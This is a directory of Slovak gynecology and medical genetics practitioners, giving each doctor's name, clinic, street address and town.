MUDr. RUDOLF NOVÁK
GYN. CENTRUM, spol. s r.o. – gynekológ
Starohájska 2
Trnava
MUDr. VERONIKA RAPÁCS PÁSZTOR
NZZ – Gyn. amb. s. r. o.
Rákocziho 22
Kráľovský Chlmec
Doc. MUDr. SILVIA TOPORCEROVÁ
GYNCARE, s.r.o. – Gyn. amb.
Magnezitárska 2/C
Košice
MUDr. SILVIA VOGELOVÁ
Lekárska genetika
Hviezdoslavova 1
Nitra
MUDr. RADMILA SLÁDIČEKOVÁ
RADMA GYN s.r.o.- Gyn. amb.
Strečnianska 13
Bratislava
MUDr. BOHUŠ VREDÍK
AUBOGYN s.r.o. – Gyn. amb.
Sládkovičova 596/1
Tornaľa
MUDr. SOŇA BLAHUTIAKOVÁ
MUDr. Soňa Blahutiaková, s.r.o.
Kozáčeka 9282
Zvolen
MUDr. Alexandra Ňaršanská
Gyn. amb.
Brigádnická2 C64
Košice
MUDr. STANISLAV POLIEVKA
KASTAMED s.r.o.-Ambulancia – gynekológia a pôrodníctvo
Okružná 53
Rimavská Sobota
MUDr. STANISLAV KÖSZEGY
GYNFEM s.r.o., gynekológ
Stavbárov 54/3
Prievidza
MUDr. MARCEL HREBENÁR
AGYND, s.r.o. Gyn. amb.
Tatranské námestie 8
Poprad
MUDr. PETER MAREŠ
GPN s.r.o., Gyn. amb.
Partizánska 27
Bratislava
MUDr. PETER LESNICKÝ
Dr. L-gyn s.r.o., gynekológ
Veľkoblahovská 44/A
Dunajská Streda
MUDr. JÁN PRUŽINSKÝ
Gynmaster s.r.o. Gyn. amb.
Sládkovičová 10 B110
Stará Ľubovňa
MUDr. PETER UHARČEK PhD.
Gyncentrum Nitra s.r.o. – Gynekológ-pôrodnik
cetrum Nitra s.r.o. Štefániková 57
Nitra
H.Doc.MUDr. PETER BIELIK PhD.
GYN BIELIK, s.r.o
Pod Stráňou 35
Banská Bystrica
MUDr. PETER BUDINSKÝ
FNsP Skalica – Gyn. amb.
Koreszkova 936/7
Skalica
MUDr. ĽUBOMÍRA LISOŇOVÁ
Gynekológia Svit s.r.o.
Kpt.Nálepku 867
Svit
MUDr. PETER LIGUS
LIGUS, s.r.o. – Gynekol.ambul.
M.Slovenskej 2A
Prešov
MUDr. PETER KRAJKOVIČ
Sanatórium Helios SK, s.r.o. Gyn. amb.
Daniela Michaelliho 2
Martin
MUDr. PETER KRIŽO
GA Lučenec, s.r.o. Gyn. amb.
Zlatá ulička 11
Lučenec
MUDr. PETER BLAŠKO
Univerzitná nemocnica – Nem.sv.Michala, Gyn. amb.
Satinského 1
Bratislava
MUDr. PETER ŠŤASTNÝ
Gyno Care, s.r.o., gynekológ
Sotinská 1591/29A
Senica
MUDr. PETER KOTLEBA
Gyn. amb.
SNP 15
Trenčianske Teplice
MUDr. PETER FELDMAR
HIPOKRATES DS s.r.o., Gyn. amb.
Hlavná 28/7
Dunajská Streda
MUDr. RASTISLAV BUHAJ
GYN – M.M.spol.s.r.o.- Gyn. amb.
Komenského 6206/7
Humenné
Mudr. ZUZANA BAKOVÁMU
Nemocnica s poliklinikou Prievidza, Gyn. amb.
Nemocnicna 2
Bojnice
MUDr. PAVOL KOPKA
KENGIMED, s.r.o., gynekológ
Hlavná 35
Vráble
MUDr. PAVOL TALLO
PARTHENOS, s.r.o.
Jablonská 301/7
Myjava
MUDr. MILAN KRKOŠKA
Medisyl, s.r.o., gynekológ
Liščie údolie 21/A
Bratislava
MUDr. GABRIELA MÉSZÁROSOVÁ
Gyn. amb.
Hollého 2
Pezinok
MUDr. PETER STANKO
GYN-GAAL s.r.o., gyn.ambulancia Pezinok
Hollého 2
Pezinok
MUDr. PETER HRABČÁK
MUDr.Peter Hrabčák – Gyn. amb.
Babušková 2
Bratislava
MUDr. PETER HRABČÁK
UNBA RU amb.gyn.poliklin.
Ružinovská 6 č. dverí 54
Bratislava
MUDr. PETER HRABČÁK
Euromedix, a.s.
Betliarska 3776/17
Bratislava
MUDr. PETRA TALLOVÁ
Laboratória s.r.o.
A.Wintera 66
Piešťany
MUDr. PETER JUHÁSZ
JUPET s.r.o., gynekológ
J. Kraľa 3
Nové Zámky
MUDr. PETER KUBRANSKÝ
MUDr.Peter Kubranský, s.r.o.
Hviezdoslavova 13/1864
Piešťany
MUDr. PETER KUBRANSKÝ
MUDr. Peter Kubranský, s.r.o.
Nám.Sv.Michala 9C
Hlohovec
MUDr. IVANA PINDROCHOVÁ – ALBRECHTOVÁ
GYNAL, spol. s r. o.- gyn. ambulancia
MUDr.Pribulu 463/15
Svidník
MUDr. PETER ILAVSKÝ
PULSE s.r.o. – Gyn. amb.
Poliklinika Družba
Trnava
MUDr. PETER DURMIS
GYNMED s.r.o, gyn.,pôr., ultrazvuk
Hálkova 3
Žilina
MUDr. Piotr Petrykowski
GYNPOL, s.r.o. – Gyn. amb.
Mierová námestie 863
Ilava
MUDr. PETER HARBULÁK PhD.
GYN-FIV, a.s. – Gyn. amb.
Trnavská cesta 106
Bratislava
MUDr. TATIANA JANEGOVÁ
JANEGYN, s.r.o., Gyn. amb.
Tematínska 24
Nové Mesto nad Váhom
MUDr. Danuta Bedeová
Dagyn, gynekol. amb.
Špitálska 13
Nitra
MUDr. STANISLAVA ŽÁČIKOVÁ
GYNISIS, s.r.o.- gyn. ambulancia
Súvoz 1891/33
Trenčín
Doc.MUDr. Nadežda Mišovicová CSc.
M-GENETIK, s.r.o. – genetická ambulancia
P.Mudroňa 504/7
Martin
MUDr. ANDREJ KARKALÍK PhD.
KSAR MED, s.r.o. – gyn. ambulancia
Sch.Trnavského 8
Bratislava
MUDr. ANDREJ KARKALÍK PhD.
GYNAMIL, s.r.o., Gyn. amb.
Strečnianska 13
Bratislava
MUDr. MARIANA CHVOSTÁČOVÁ
Gyn. amb.
Mazúrova 2
Skalica
MUDr. ONDREJ BALCO
GA Lučenec, s.r.o. Gyn. amb.
Zlatá ulička 11
Lučenec
MUDr. BARBORA VALACHOVÁ
Gynprax s.r.o., gynekológ
Nám. SNP 12
Moravský Svätý Ján
MUDr. PATRIK MESÁROŠ
GYNEMMA s.r.o., gynekológ
Mierové nám.12
Malacky
MUDr. ZUZANA PROVAZNÍKOVÁ
PRO BIOS, s.r.o.- Gyn. amb.
Ružová dolina 21
Bratislava
MUDr. PAVOL ŠČASNÝ
Bari Group s.r.o. – gyn. ambulancia
29. augusta 9
Galanta
MUDr. PAVOL KUCHTA
Gyn. amb.
Obchodná 3
Michalovce
MUDr. PAVOL SCHILLER
Schiller s.r.o, Gyn. amb.
Ľudovíta Fullu 5274
Malacky
MUDr. ADRIÁN TOTKA
MEDANTE Clinic, s.r.o. gyn.-pôr
Galvaniho 19
Bratislava
MUDr. VALÉRIA SADÁKOVÁ
GYNESA, spol. s r.o. – gynekológ
Tehelná 26
Bratislava 3
MUDr. MILAN TRIZMA
TRITIUM s.r.o., gynekológ
Lipová 2074/8
Topoľčany
MUDr. MILAN ČECH
GYNCECH s.r.o. Gyn. amb.
Koniarekova 20
Trnava
MUDr. MILAN PIKNA
MUDr. Milan Pikna – Gyn. amb.
Starohájska 2
Trnava
MUDr. RICHARD BARÁN
Bari Group s.r.o. – gyn. ambulancia
29. augusta 9
Galanta
MUDr. RICHARD BARÁN
Prac. jednodň. zdrav. Starostlivosť
Priečna 5
Galanta
MUDr. RICHARD BARÁN
Profi Group 3 s.r.o. – gynekológ
Kráľová pri Senci 327
Kráľová pri Senci
MUDr. MILOSLAV HAJDUŠEK
JOMIMED s.r.o., gynekológ
Andovská 9/D
Nové Zámky
MUDr. MILOSLAV HRONEC CSc.
Univerzitná nemocnica – Nem.sv.Michala, Gyn. amb.
Satinského 1
Bratislava
MUDr. MILOSLAV VLČEK
Gravis MI, s.r.o Gyn. amb.
Nám slobody 79
Vranov nad Topľou
MUDr. MIROSLAV SMOLÍK
GPN s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. MIROSLAV ŠIŠÁK
MUDr. Šišák Miroslav – Gyn. amb.
Hlavná 760
Jelka
MUDr. MIROSLAV FRUŠ
STARGYN, s.r.o. – Gyn. amb.
Legionárska 5256/1C
Malacky
MUDr. MIROSLAV HALAPIN
JM & ML, s.r.o.- Gyn. amb.
Darg.hrdinov 137/10
Sečovce
MUDr. MIROSLAV BELANSKÝ
MEDBEL, s.r.o. – Gyn. amb.
Podzámska 16
Hlohovec
MUDr. ZUZANA BALÁŽOVÁ
Marek Štefánik Medical s.r.o.
Podzáhradná 98
Bratislava
MUDr. MARTA PLEVOVÁ
Súkromná ambulancia ObZS Rabča
Lokca 267
Rabča
MUDr. MARTIN DITTE
GPN, s.r.o., gynekológ
Partizánska 27
Bratislava
MUDr. MARTIN DITTE
GPN s.r.o., Gyn. amb.
Ružinovská 10
Bratislava
MUDr. JANA PALKOVÁ
Gyn. amb.
1.mája 21
Humenné
MUDr. MARTIN ALFÖLDI
Gyn Iv., s.r.o., gynekológ
Nemocničná 1
Šaľa
MUDr. Martin Okály
Gyn. amb.
Ing. O. Kožucha 823/3
Spišská Nová Ves
MUDr. MARTIN KORČOK
FEMINA-M sro gynekolog
Záhradnícka 4
Štúrovo
MUDr. MARTIN KORČOK
FEMINA-M s.r.o. Gyn. -pôr.
J.Kráľa 3
Nové Zámky
MUDr. MARTINA MATUŠOVIČOVÁ
GYNEKOLOGIA s.r.o. Gyn. amb.
Štúrová 82
Modra
MUDr. MELINDA STEFAN_BALOGH
Gyn. amb.
Nemocničná 8 CH44
Kráľovský Chlmec
MUDr. MIROSLAV CAKO
GPN s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. MICHAL PAVLITA
SOLEO spol. s.r.o. Gyn. amb.
Vajanského 1
Modra
MUDr. JANA KOVÁŘOVÁ
Gynekológia -MUDr. Borodáč, s.r.o. – Gyn. amb.
Zigmundíková 1
Vrbové
MUDr. JANA KOVÁŘOVÁ
Laboratória s.r.o.
Sad A.Kmeťa 22
Piešťany
MUDr. JANA KOVÁŘOVÁ
Gynekológia -MUDr. Borodáč, s.r.o.
Sotinská 1588
Senica
MUDr. SFWAN ABO ROMIH
MAMO-GYN, s.r.o. – Gyn. amb.
Tehelná 26
Bratislava
MUDr. RENÁTA PODOBENOVÁ
Lakme, s.r.o. Gyn. amb.
Dolná 49/21
Kremnica
MUDr. MÁRIA PETREKOVÁ
Ambulancia – gynekológia a pôrodníctvo
Huncovská 6/322
Kežmarok
MUDr. Monika Borošová PhD.
GYNAEX,s.r.o.
Záhradnícka 16614/36
Bratislava
MUDr. KATARÍNA FARULOVÁ
FN NZ – Gynekologické odd.
Slovenská ulica 11 A
Nové Zámky
MUDr. MARIÁN OROS
MUDr. Marián Oros Gyn. amb.
Gercenova 8/E
Bratislava
MUDr. MARIÁN KOLLÁR
I. ženská s.r.o. – Gyn. amb. AN
Antolská 11
Bratislava
MUDr. MARIÁN RAUČINA
GYN – RS, s.r.o. Gyn. amb.
Polikl.ADUS – Mnoheľova 2
Poprad
MUDr. PETER KRIŽAN
Amb. lekárskej genetiky
Galvaniho 17/C
Bratislava, peter.krizan@medirex.sk, +421 2 208 29 278
MUDr. MARIANNA ŠESTINOVÁ
MVitae s. r. o. – Gyn. amb.
Cottbuská 13
Košice
MUDr. ZLATA POLGÁRYOVÁ
GYNEKOLÓGIA -MUDr. POLGÁRYOVÁ, s.r.o. – Gyn. amb.
Mierová 1/905 CH56
Kráľovský Chlmec
MUDr. MÁRIO LUŽINSKÝ
MEDICENTRUM gynekológ
Strečnianska 13
Bratislava
MUDr. MARTA JELENEKOVÁ
MUDr. MARTA JELENEKOVÁ Gyn. amb.
Krivá 23
Košice
MUDr. MARTA JELENEKOVÁ
Gynekológia Jeleneková s.r.o.- Gynekolog. amb.
Krivá 23
Košice
MUDr. MICHAELA FELLNEROVÁ
UNB RU – Gyn. amb.
Ružinovská 6
Bratislava
MUDr. MICHAELA FELLNEROVÁ
Femme s.r.o. – Gyn. amb.
Záporožská 12
Bratislava
MUDr. LENKA LADECKÁ TOMKOVÁ
GYN-VIA, s. r. o., gynekológ
K dolnej stanici 18
Trenčín
MUDr. MAREK DRÁB PhD.
OBGYN s.r.o
Zdravotnícka 1
Stupava
MUDr. MAREK DRÁB PhD.
OBGYN s.r.o., gyn.ambulancia Stupava
Zdravotnícka 1
Stupava
MUDr. MAREK DRÁB PhD.
OBGYN, s.r.o.
Pavlovičova 3
Bratislava
MUDr. MAREK DRÁBEK
PRO BIOS, s.r.o.- Gyn. amb.
Ružová dolina 21
Bratislava
MUDr. MAREK FIFIK
Ambulancia – gynekológia a pôrodníctvo
Limbova 5
Bratislava 3
MUDr. MAREK FRÜHWALD
MF medico, s.r.o., gynekológ
Bernolákova 14/A
Banská Bystrica
MUDr. LUCIA Ďurčeková
DUO-GYN s.r.o., Gyn. amb.
Mládežnícka 2174
Považská Bystrica
MUDr. MARGITA VÖRÖSOVÁ
GYN – MV s.r.o., gyn. ambulancia
Miletičova 5/A
Bratislava
MUDr. MARGITA VÖRÖSOVÁ
GYN – MV, s.r.o. – Gyn. amb.
Paríčková 18
Bratislava
MUDr. LUCIA MEŠINOVÁ
GPN s.r.o., Gyn. amb.
Ružinovská 10
Bratislava
MUDr. JÁN ADAM
GYNLIFE, s.r.o. Gyn. amb.
Tr.SNP 1
Košice
MUDr. JURAJ ČIERNY
Gyn-Reh s.r.o. Gyn. amb.
Šafáriková 65
Senec
MUDr. MÁRIA KARDOŠOVÁ
GYNEKOLÓG M.K. s.r.o. – Gyn. amb.
1.mája 21
Humenné
MUDr. DAGMAR MOLITORISOVÁ
Gyn. ambulancia
Povstalecká 30
Banská Bystrica
MUDr. SILVESTER GALO PHD
GYN-FIV Žilina, s.r.o.
Predmestská 8600
Žilina
MUDr. ZUZANA ĎURKECHOVÁ
GYNEZUL s.r.o.
Pod Lachovcom 1727/55
Púchov
MUDr. ĽUBOŠ ĎURKECH
GYNECARE, spol. s r.o.
Súhradka 191
Lednické Rovne
MUDr. ĽUBOŠ ĎURKECH
GYNECARE, spol. s r.o.
Pod Lachovcom 1727/55
Púchov
MUDr. PETRA STRAKOVÁ
Gynegology s.r.o. Gyn. amb.
Vajnorská 62
Bratislava
MUDr. LUCIA KLIMEKOVÁ
LUCE s.r.o. , gyn.-pôr. ambulancia
Bernolákova 24
Zlaté Moravce
MUDr. ĽUDMILA KOŠECKÁ
PRO-FEMME sro, gyn.-pôr.
J.Alexyho 2700/7
Topoľčany
MUDr. ĽUDOVÍT KOVÁČ
GPA Kováč, s.r.o. – Gyn. amb.
Malinovského 425
Čachtice
MUDr. ĽUDOVÍT ST. JANEK
CARE s.r.o. gynekológ
Hlavná 50
Šamorín
MUDr. ĽUDOVÍT ŠEVČÍK
GYMADERM s.r.o., gynekológ
Kukučínova 191
Považská Bystrica
MUDr. ĽUDOVÍT ML. JANEK PhD.
Gyncentrum Bratislava, s.r.o.- Digit.Park
Einsteinová 25
Bratislava
MUDr. DUŠAN NIŽNÍK
ZDRAV s.r.o. Gyn. amb.
Švantnerova 23
Nová Baňa
MUDr. MAGDALÉNA MAYEROVÁ
GYN-GAAL s.r.o., gyn.ambulancia Pezinok
Hollého 2
Pezinok
MUDr. MAGDALÉNA MAYEROVÁ
GPN s.r.o., Gyn. amb.
Ružinovská 10
Bratislava
MUDr. MARTIN HOLAN
Gyn Healthcare s.r.o. – Gyn. amb.
Hubeného 2497/2
Bratislava
MUDr. MARČELA LEVSKÁ
LEVSKA s.r.o. – Gyn. amb. Zlaté Klasy
Poštová 778/2
Zlaté Klasy
MUDr. PETER ZELENÝ
AGYND, s.r.o. Gyn. amb.
Tatranské námestie 8
Poprad
MUDr. MARTINA VAGASKÁ
TRIMEDIN s.r.o. – Gynek.amb.
Budovateľská 429/6
Hanušovce nad Topľou
MUDr. Lea Macháneková
ISCARE, a.s., Gyn. amb.
Prievozská 4/A
Bratislava
MUDr. PETER VÁVRA
GYNVAX, s.r.o., gyn.-pôr.
Pod Hájkom 37
Skalica
MUDr. ANDREJ HAVALDA PhD.
Univerzitná nemocnica – Nem.sv.Michala, Gyn. amb.
Satinského 1
Bratislava
MUDr. ĽUBICA ŠABLOVÁ
PRO FEMINA, s.r.o., gynekológ
Tbiliská 6
Bratislava
MUDr. JOZEF KNOP
Gyn. amb.
Mlynská 26
Košice
MUDr. ANNA GOTTSCHALLOVÁ
GYNPRENATAL s.r.o. – Gyn. amb.
Mladoboleslavská 1
Pezinok
MUDr. ĽUBICA SEMANOVÁ
ALLATURA,sro, gyn.-pôr.
BC Aquapolis Piešťanská 3
Trnava
MUDr. ĽUBOMÍR SÁMEL
Gyn. amb.
Tatranská 1
Trenčín
MUDr. ĽUBOMÍR KORBAŠ
KORBAŠ,s.r.o., gynekológ
Pod Lachovcom 1727/55
Púchov
MUDr. ĽUBOMÍR DIVÉKY PhD.
GYNAEX s.r.o – Gyn. amb.
Záhradnícka 36
Bratislava
MUDr. JAROSLAV HLAVAČKA
AKTIS – plus s.r.o., gynekológ,pôrodník
Hviezdoslavova 1
Nitra
MUDr. ĽUBOMÍRA HALMOVÁ
HALGYN s.r.o., gynekológ
Rozmarínova 3
Komárno
MUDr. Ľubomíra Pániková
E+T GYN s.r.o.
Trstená
MUDr. ĽUBOR LAUDA
EL-Gynda s.r.o. – gynekológ
Tehelná 26
Bratislava
MUDr. ĽUBOR PÉČI
MUDr. Ľubor Péči, s.r.o. gynekológ
Starohájská 2
Trnava
MUDr. ĽUBOŠ ĎURKECH
GYNECARE, spol. s r.o., gynekológia a pôrodníctvo
Pod Lachovcom 1227/55
Púchov
MUDr. BRANISLAV MURÍN
B.G.M. GYN s.r.o. – Gyn. amb.
Budapeštianska 46 D26
Košice
MUDr. KATARÍNA JABLONKOVÁ
Gynja s.r.o., Gyn. amb.
Mýtna 5
Bratislava
MUDr. KATARÍNA KOTLEBOVÁ
K+K MEDIC, s.r.o. – Gyn. amb.
SNP 15/B
Trenčianske Teplice
MUDr. KATARÍNA ANDREJČÁKOVÁ
GYNKA s.r.o. Gyn. amb.
M.R.Štefánika 40
Krupina
MUDr. KATARÍNA RAŠLOVÁ
GYN – LIFE s.r.o. – Gyn. amb.
Rezedova 5
Bratislava
MUDr. KATARÍNA MELIŠOVÁ CSc.
MI UNB Staré Mesto Genetika – ambulancia
Americké námestie 3
Bratislava 1
MUDr. KATARÍNA ELIAŠOVÁ
ELIGYN, s.r.o.
Východná 8
Veľký Šariš
MUDr. KLAUDIA ZUZČÁKOVÁ
GYNSERVIS, s.r.o. Gyn. amb.
Nám. Hrdinov 13
Levice
MUDr. LADISLAV BALÍK
GYNBAL s.r.o., Gyn. amb.
Nemocničná 1
Veľký Krtíš
MUDr. ANDREA ŽIDEKOVÁ
Súkromná Gyn. amb.
Jánošíkovo nábrežie 1212/2
Liptovský Mikuláš
MUDr. SOŇA MICHALOVIČOVÁ
SVS G, s.r.o. – gynekológ
Štefánikova 480
Gbely
MUDr. ZORA VASIĽOVÁ
WOMENS HEALTH, s.r.o., Gyn. amb.
Tbiliská 6
Bratislava
MUDr. LADISLAV ANDREÁNSKY
MUDr. ANDREANSKÝ LADISLAV – Gyn. amb.
J.D. Matejovie 542
Liptovský Hrádok
MUDr. LADISLAV ROSOCHA
UNLP Gyn. amb.
Rastislavova 43
Košice
MUDr. Lea Macháneková
Váš Lekár, s.r.o.
Pribinova 40
Bratislava
MUDr. JURAJ PÁLL
Gyn. amb.
17.novembra 1213
Sabinov
MUDr. JURAJ PUHA
CYRMA s.r.o. – Gyn. amb.
TRSTICE 667
Trstice
MUDr. JURAJ BRAUN
TRINITA s.r.o., gyn.ambulancia Tlmače
Nám. odborárov 50/7
Tlmače
MUDr. JURAJ BRAUN
TRINITA spol. s r.o.
Nábrežná 3
Levice
MUDr. KAMIL VAŠKO
RANA s.r.o. gynekol. amb.
Nemocničná 1
Šaľa
MUDr. KAMIL PAHULI
Bona Quarta s.r.o.
Bystrická 52
Žarnovica
MUDr. ROBERT ČERŇÁK
Nemocničná a.s. Gyn. amb.
Duklianskych hrdinov 34
Malacky
MUDr. KARIN VONDRÁKOVÁ
Aevitas, s.r.o. – Gyn. amb.
Rázusova 24
Nitra
MUDr. KAROL HLINŠŤÁK
MEDANTE Clinic, s.r.o. gyn.-pôr
Galvaniho 19
Bratislava
MUDr. KAROL BALKO
RE-GYN-A s.r.o. Gyn. amb.
Poliklinika O
Lučenec
MUDr. KAROL BRÁNYIK PhD.
AMB, s.r.o. – Gyn. amb.
Ádorská 21
Dunajská Streda
MUDr. KAROL BRÁNYIK PhD.
Gamb.s.r.o. – Gyn. amb.
Brnenské námestie 4
Kolárovo
MUDr. KÁROLY FÖLDES
AFK s.r.o.,gynekolog
Veľkoblahovská 1
Dunajská Streda
MUDr. KÁROLY FÖLDES
P-GYN, s.r.o. – Gyn. amb.
Poľovnícka 41
Veľký Meder
MUDr. KATARÍNA KRKOŠKOVÁ
GynMart, gynekologické centrum, s. r. o., Gyn. amb.
Bjőrnsonova 20
Martin
MUDr. KATARÍNA VAČOKOVÁ
GPN s.r.o., gynekológ
Ružinovská 10
Bratislava
MUDr. KATARÍNA VAČOKOVÁ
GPN, s.r.o., gynekológ
Partizánska 27
Bratislava
Prof. MUDr. JOZEF VIŠŇOVSKÝ
VIŠŇOVSKÍ, s.r.o., Gyn. amb.
Sv. Martina 273
Terchová
MUDr. JOZEF REŠETA
BABAE, s.r.o – Gyn. amb.
Mozartova 3
Trnava
MUDr. JOZEF KAŠUBA
MUDr. Jozef Kašuba, s.r.o. Gyn. amb.
Hviezdoslavova 62/A
Zlaté Moravce
MUDr. LUCIA KRÁLIKOVÁ
Mestská poliklinika
SNP 2
Šurany
MUDr. IVAN RIŠKO ML.
MUDr. Ivan Riško, s.r.o. – gyn. ambulancia
K Rieke 2B
Nitra
MUDr. IVAN RIŠKO ML.
gynekológ
Hviezdoslavova 1
Nitra
MUDr. JOZEF PAJTÁŠ
Pajmed, s.r.o. – Gyn. amb.
M.R. Štefánika 3782/25A
Trebišov
MUDr. JOZEF ŠPANKA
INGYN, s.r.o., gynekológ
Bratislavská 6
Most pri Bratislave
MUDr. JOZEF ŠPANKA
Univerzitná nemocnica Bratislava
Ružinovská 6
Bratislava – Ružinov
MUDr. JOZEF GEÖREÖGH
Gynekológ pôrodník ELTEX
Družstevná 5
Šurany
MUDr. JULIANA ZIMMERMANNOVÁ
VISSEGYN, s.r.o., gynekológ
Bernolákova 1495/7
Šala-Veca
MUDr. JÚLIA FRÍVALDSKÁ
TETRAO s.r.o. – Gyn. amb.
Gemerská 3 C25
Košice
MUDr. JÚLIUS MURÁNSKY
MUDr. Július Muránsky s.r.o., Gyn. amb.
Bitúnková 13
Nové Zámky
MUDr. JURAJ ORSÁG
HELPING HANDS, s.r.o. Gyn. amb.
Komenského 27
Lučenec
MUDr. IVANA KARÁSKOVÁ
Pol. Centrum s.r.o. – Gyn. amb.
Brigádnická č.2
Košice
MUDr. DANA DE FURIA
Gyn. amb.
Československej armády 1175/18
Košice
MUDr. JANA PIRČOVÁ
Gyn. amb.
Masarykova 88 A76
Michalovce
MUDr. JUDITA KOPRDOVÁ
FNsP Nové Zámky – Gyn. amb.
Slovenská 11
Nové Zámky
MUDr. JAROSLAV KARDOŠ
K-MED, s.r.o.- Gyn. amb.
Mošteníkova 540/6
Považská Bystrica
MUDr. ŠTEFAN LIPTAY
G-PROM, Gyn. amb.
Jesenského 85
Štúrovo
MUDr. LENKA FALATOVÁ
Vstupný areál US Steel
Lúčna 59
Košice-Šaca
MUDr. LENKA FALATOVÁ
GYn VITA s.r.o. Gyn. amb.
Zbrojničná 8
Košice
MUDr. EVA RUKAVICOVÁ
gynekológ
Štúrova 1
Liptovský Mikuláš
MUDr. JELA KUBALOVÁ
Gyn. amb. Trenčín, s.r.o. – Gyn. amb.
Halalovka 63
Trenčín
MUDr. JÁN REHÁK
MUDr. Ján Rehák, s. r. o., Gyn. amb.
Palárikova 2657
Čadca
MUDr. JOZEF RAVINGER
MEDIFARM NITRA s.r.o., gynekológ
Čajkovského 2
Nitra
MUDr. JOZEF KANTÍK
JOKA gyn, s.r.o. – Gyn. amb.
J.D.Matejovie 542/21
Liptovský Hrádok
MUDr. OLEKSANDR GRYGORYK
FNsP Nové Zámky – Gyn. amb.
Slovenská 11
Nové Zámky
MUDr. JOZEF ANDEL
GYNAN, s.r.o. – Gyn. amb.
Hergottova 2
Svätý Jur
MUDr. RICHARD MOLOKÁČ
Gyn. amb.
Národná trieda 214/27
Košice
MUDr. JÁN BÁNYI
MUDr. JÁN BÁNYI, s.r.o. Gyn. amb.
G. Czuzcora 1
Nové Zámky
MUDr. NATAŠA KÓŇOVÁ
MEDIFEM s.r.o., gynekológ
Björnsonova 7
Bratislava
MUDr. JÁN NEUBAUER
Jadin s.r.o., gynekolog
Nábrežná 3
Levice
MUDr. JÁN ULRICH
Gynekológ No 1, s.r.o. – Gyn. amb.
Jesenského 85
Štúrovo
MUDr. JÁN PERHÁCS
Héra, spol.s.r.o. Gyn. amb.
Galantská cesta 5416/5
Dunajská Streda
MUDr. JANA FANTAZÍROVÁ
GYNFAN s.r.o. – gynek.amb.
Generála Petrova 1
Michalovce.
MUDr. PETRA PŠENKOVÁ PhD.
Gynsana s.r.o. Gyn. amb.
Trnavská cesta 18746/106
Bratislava
MUDr. MARIANNA HORÁNSKA
FNsP J.A.Reimana, odd. gyn.-pôrod. II.
Hollého 14
Prešov
MUDr. JANKA BAROŠOVÁ
GENET s.r.o., ambulancia lekárskej genetiky
Rázusová 16 Poliklinika
Nitra
MUDr. JANA ŠTEMPELOVÁ
MEDAFEM spol.s.r.o.
Mieru 246
Jesenské
MUDr. JANA FATHIOVÁ
PULSE gynecologia, s.r.o. Gyn. amb.
Tatranské námestie 4914/8
Poprad
MUDr. JANA MAREKOVÁ
Med Dar, s.r.o., gynekológ
Rovniankova 1
Bratislava
MUDr. JANA MAREKOVÁ
Med Dar, s.r.o.
Obchodná 323
Rohožník
MUDr. JANA LANGOVÁ
JALAGYN, s.r.o., gynekológ
Andovská 6
Nové Zámky
MUDr. JANA CHABADOVÁ
Žena s.r.o. gyn.ambul.
Balkánska 51
Rusovce
MUDr. JANA DRIEŇOVSKÁ
SAGAX, s.r.o., gynekológ
Hlavná č. 58 A
Dunajská Streda
MUDr. JANA DRIEŇOVSKÁ
DALIJANA s.r.o., gynekológ
Hlavná 58/A
Dunajská Streda
MUDr. ONDREJ SMOLÁRIK
Mestská poliklinika – Gyn. amb.
SNP 2
Šurany
MUDr. IVETA ĎUROVSKÁ
GYNET s.r.o, Gyn. amb.
Námestie hrdinov 15
Levice
MUDr. IVONA ĎUBEKOVÁ
ĎUBEKOVÁ IVONAMUDr., s.r.o. Gyn. amb.
Fedinova 9
Bratislava
MUDr. KATARÍNA BALASIČOVÁ PhD.
Gyncare, s.r.o.
Magnezitárska 2/C
Košice
MUDr. JÁN BALÁŽ
GYTAP s.r.o., – Gyn. amb.
Eötvösa 37
Komárno
MUDr. Miroslava Vargová PhD.
Gynek.amb.s.r.o. – gynekológ
Ružinovská 10
Bratislava
MUDr. EVA RYBANSKÁ
MEDANTE Clinic, s.r.o. gyn.-pôr
Galvaniho 19
Bratislava
MUDr. JÁN CHLAPEČKA
NEOGYN,s.r.o. – Gyn. amb.
Švermova 7/A
Trenčín
MUDr. Alexander Bányácsky
Hipcentrum s.r.o.
Holubyho 41
Pezinok
MUDr. JÁN SVIEŽENÝ
FOURES s. r. o., gynekológ
Okružná 5
Handlová
MUDr. JÁN SVIEŽENÝ
FOURES s. r. o., Nováky
Matice slovenskej 960
Nováky
MUDr. JÁN KOVÁČ
MUDr. Ján Kováč, s.r.o., gynekológ
Mostná 27
Nitra
MUDr. JÁN KOVÁČ
MUDr. Ján Kováč, s.r.o., gynekológ
Moravská 512
Vráble
MUDr. MATEJ BÖHMER
MEDISSIMO – Gyn. amb.
Tematínská 5/A
Bratislava
MUDr. JÁN FELŠÖCI
MUDr. JÁN FELŠÖCI – Gyn. amb.
M.R.Štefánika 187/177B
Vranov n/T
MUDr. Ingrid Valaská
Gyn-MeD, s.r.o. – Gyn. amb.
Bebravská 1
Bratislava
MUDr. INGRID ČOPKOVÁ
Gyncentrum, s.r.o. Gyn. amb.
M.R.Štefánika 3560/52A
Trebišov
MUDr. ANDREA GRENDELOVÁ
Gyncare, s.r.o.
Magnezitárska 2/C
Košice
MUDr. MIROSLAVA BLAHOVÁ
Gyn. amb.
Štefánikova 42
Spišská Belá
MUDr. SOŇA VALAŠÍKOVÁ
MISSIO s.r.o. Gynekológ
Rákoczyho 3125/5
Komárno
MUDr. VIERA BELUŠÁKOVÁ
GYNCARE, s.r.o., Gyn. amb.
Novozámocká 67
Nitra
MUDr. JÁN MIERTUŠ
Génius n.o.
Starohájska 2
Trnava
MUDr. IVAN MRÁZIK
MEDOSAN s.r.o. Gyn. amb.
Tomášiková 1027/53
Revúca
MUDr. IVANA MAJTANOVÁ
gynekológ
Mládežnícka 2174
Považská Bystrica
MUDr. MARIÁN KRIŽKO
Gynsana s.r.o. Gyn. amb.
Trnavská cesta 18746/106
Bratislava
MUDr. IVANA KLEINOVÁ
Gyn.ambulancia
Antona Prídavka 3
Prešov
MUDr. IVETA BACHŇÁKOVÁ
BACHMED s.r.o. – gyn. ambulancia
Železničná 23
Rimavská Sobota
MUDr. IVETA MĹKVA
MI UNBA – amb.genetická
Americké nám.3
Bratislava
MUDr. IVETA TRNOVSKÁ MPH
I.T. – GYNEKOLÓGIA, s.r.o., gynekológ
Hodžova 1
Martin
MUDr. IVETA KAMENSKÁ
KAMENSKá s.r.o Gyn. amb.
Ul. 1. mája 2
Slov.Ľupča
MUDr. MARTINA TÖKÖLYOVÁ
GYN MT, s.r.o. – Gyn. amb.
Vajnorská 40
Bratislava
